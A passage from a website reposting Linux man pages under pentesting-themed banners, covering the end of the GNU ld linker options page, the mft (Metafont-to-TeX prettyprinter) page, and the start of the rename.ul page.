  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1709 - Linux cli command mft

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mft and provides detailed information about the command mft, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mft.

NAME 🖥️ mft 🖥️

translate Metafont or MetaPost code to TeX code for prettyprinting

SYNOPSIS

mft [OPTIONS] mf_file_name[.mf|.mp]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The mft program creates a TeX file from a Metafont or MetaPost program. It takes appropriate care of typographic details like page layout and the use of indentation, italics, boldface, etc., as illustrated in the book Computer Modern Typefaces. Special conventions in Metafont and MetaPost comments allow you to control things that would not otherwise come out right; section 1 of the MFT source program in the Metafontware report explains these rules.

The mft program uses an optional change file (which works just as the change files to tangle(1) and weave(1) do) and one or several style files (which are prepended to everything). If no style file is specified, the style file plain.mft for Metafont (or mplain.mft for MetaPost) is automatically used.

The mf_file_name, optional change_file_name, and style_file_name files are searched for using the MFINPUTS (for Metafont) or MPINPUTS (for MetaPost) and MFTINPUTS environment variables if you have set them, or else the corresponding system defaults.

The output TeX file name is formed by using .tex in place of the extension of mf_file_name.

OPTIONS

-change=change_file_name[.ch]
Apply the change file change_file_name to mf_file_name.

-metapost
Assume mf_file_name is a MetaPost source file (this is the default if mf_file_name has the extension .mp).

-style=style_file_name[.mft]
Use the style file style_file_name instead of plain.mft (or mplain.mft); this option can be given more than once.

FILES

mftmac.tex
TeX macros used by mft output.

plain.mft, mplain.mft
Default style files.

cmbase.mft
Style file for Computer Modern.

SEE ALSO

mf(1), weave(1).
Donald E. Knuth, Computer Modern Typefaces (Volume E of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13446-2.
Donald E. Knuth et al., Metafontware.

AUTHORS

Donald E. Knuth wrote the program, and he ported it to Unix with the help of Pierre MacKay and the Unix port of weave by Howard Trickey and Pavel Curtis. The program is published in the Metafontware technical report, available from the TeX Users Group.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1710 - Linux cli command rename.ul

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rename.ul and provides detailed information about the command rename.ul, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rename.ul.

NAME 🖥️ rename.ul 🖥️

rename files

SYNOPSIS

rename [options] expression replacement file

DESCRIPTION

rename will rename the specified files by replacing the first occurrence of expression in their name by replacement.

OPTIONS

-s, –symlink

Do not rename a symlink but change where it points.

-v, –verbose

Show which files were renamed, if any.

-n, –no-act

